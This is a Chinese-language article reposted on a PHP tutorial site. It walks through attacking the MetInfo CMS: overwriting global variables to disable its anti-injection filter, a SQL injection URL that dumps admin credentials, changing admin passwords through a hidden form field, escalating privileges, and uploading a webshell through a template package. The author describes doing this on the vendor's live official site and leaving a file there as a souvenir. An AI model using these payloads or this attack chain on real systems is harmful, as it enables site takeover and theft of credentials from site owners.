网站地图    收藏   

主页 > 后端 > 网站安全 >

MetInfo 全局变量覆盖另类突破防注入 - 网站安全

来源:自学PHP网    时间:2015-04-17 11:59 作者: 阅读:

[导读] 前言 对于相对成熟的cms, sql inject,xss 都有完善的自身防御代码。然而一些逻辑错误以及意识上的误区可能会让系统防御如同虚设,本文就是一个通过全局变量覆盖突破防注入以及其他逻辑...

前言
      对于相对成熟的cms, sql inject,xss 都有完善的自身防御代码。然而一些逻辑错误以及意识上的误区可能会让系统防御如同虚设,本文就是一个通过全局变量覆盖突破防注入以及其他逻辑失误导致MetInfo 企业网站管理系统多处安全缺陷的案例。
 
 前台逻辑缺陷秒改管理员密码 
 
 


 
 MetInfo是国内使用非常广泛的企业管理系统,采用PHP+Mysql架构。速度下鸟安装  
 
 
 
又是管理员和前台会员在一个表的,这下方便多了,注册普通会员,查看源码
 
 
有个 hidden  的 字段,目测有鬼,继续跟踪到 save.php
 
if($action=="editor"){
 
$query = "update $met_admin_table SET
 
                      admin_id           = '$useid',
 
                                       …                 = ……,
 
 
 
if($pass1){
 
$pass1=md5($pass1);
 
$query .=", admin_pass         = '$pass1'";
 
}
 
$query .="  where admin_id='$useid'";
 
$db->query($query);
 
okinfo('basic.php?lang='.$lang,$lang_js21);
 
}
 
 
 
看红色的代码   $useid 则是刚才(后面会讲到)  hidden 的字段,不是有句话叫做一切用户输入都是有害的,怎么能用这个更新资料的条件了,也就是说 只要知道管理员的名称 就可以改管理员的密码。那怎么知道管理员的名称了。   admin ?  社工 ?  暴力 ?  我们继续往下看 …
 
全局变量覆盖
 
 include\common.inc.php  是整个系统的核心文件,用户处理数据,连接数据库..
 
一段狠经典的代码,导致国际问题全局变量覆盖。
 
foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
 
       foreach($$_request as $_key => $_value) {
 
              $_key{0} != '_' && $$_key = daddslashes($_value);
 
       }
 
}
 
 
 
接下来,找能利用的地方,最好是能直接getShell 什么的。
 
找了很久 都发现数据库操作 传进去的变量都单引号注释鸟,后台才发现我sb了。
 
 
 
<?php
 
# MetInfo Enterprise Content Management System 
 
# Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved.
 
require_once '../include/common.inc.php';
 
if($class1)$id=$class1;
 
    $job=$db->get_one("select * from $met_job where id='$id'");
 
       if(!$job){
 
       okinfo(
 
 
 
$id 单引号鸟,那就直接覆盖 $met_job,不就可以了吗  !!
 
 
 
http://www.2cto.com /coder/minfo/job/showjob.php?id=1&met_job=%60information_schema%60.%60SCHEMATA%60%23
 
 
 
访问正常,说明有搞头,开屎疯狂的注入…   union 联合查询,却又弹出这个东东  。
 
额 蛋疼的防注入....
 
防注入都是浮云   
   我们来看防注入代码
 
 
 
global $met_sqlreplace;
 
if($met_sqlreplace){
 
       $string = str_replace("select", "\sel\ect", $string);
 
       $string = str_replace("insert", "\ins\ert", $string);
 
       $string = str_replace("update", "\up\date", $string);
 
       $string = str_replace("delete", "\de\lete", $string);
 
       $string = str_replace("union", "\un\ion", $string);
 
       $string = str_replace("into", "\in\to", $string);
 
       $string = str_replace("load_file", "\load\_\file", $string);
 
       $string = str_replace("outfile", "\out\file", $string);
 
}else{
 
       if(inject_check($string)){
 
       $reurl="http://".$_SERVER["HTTP_HOST"];       
 
       echo("<script type='text/javascript'> alert('Please Stop SQL Injecting!'); location.href='$reurl'; </script>");
 
       die("Please Stop SQL Injecting!");
 
       }
 
}
 
跟进 inject_check  函数 ,
 
function inject_check($sql_str) {
 
  if(strtoupper($sql_str)=="UPDATETIME" ){
 
  return eregi('select|insert|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile', $sql_str);   
 
  }else{  
 
  return eregi('select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile', $sql_str);   
 
  }     
 
}
 
貌似 小涛童鞋还在 90sec 发过突破这个函数的讨论帖 …
 
正则写的很全面,突破就有些难鸟,不过我们有前面的全局变量覆盖,inject_check神马的都是浮云啊,浮云...,回来看前面的代码当$met_sqlreplace 为true 是 就不执行sql 语句检查,那我们就来覆盖$met_sqlreplace,直接上jb  官网演示。
 
 
 
http://www.metinfo.cn/demo/job/showjob.php?id=1&met_job=met_job  where  id = 2 and 1=2 UNION  SELECT 1,(SELECT admin_id  FROM `met_admin_table` where id = 1 ),3,(SELECT admin_pass FROM `met_admin_table` where id = 1 ),5,6,7,8,0,10,11,12,13,14,15  %23 &met_sqlreplace=1
 
访问以上链接,直接爆出用户名,密码。密码的懒得破了,有了管理员账号,,秒改 。
 
后台简单拿shell     
 
  找到模板打包上传,里面直接木马文件     
 
 
访问  http://www.av.com/ templates/test/ya.php
 


 
官网后台提权突破拿shell  
 
      屁颠屁颠的跑去官网测试,确发现悲剧鸟…
 
 
 
官网权限限制鸟,我压力很大…
 
提交到的文件为   save.php  看关键代码  
 
if($editorpass!=1){
 
$query .=",  langok             = '$langok'";
 
$query .=", admin_type          = '$admin_type'";
 
$query .=", admin_issueok      = '$admin_issueok'";
 
$query .=", admin_op           = '$admin_op'";
 
}
 
 
 
把  editorpass  置为 0,增加 admin_type,成功提权。
 
 
模板上传拿到shell  
留个 txt做纪念。
 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论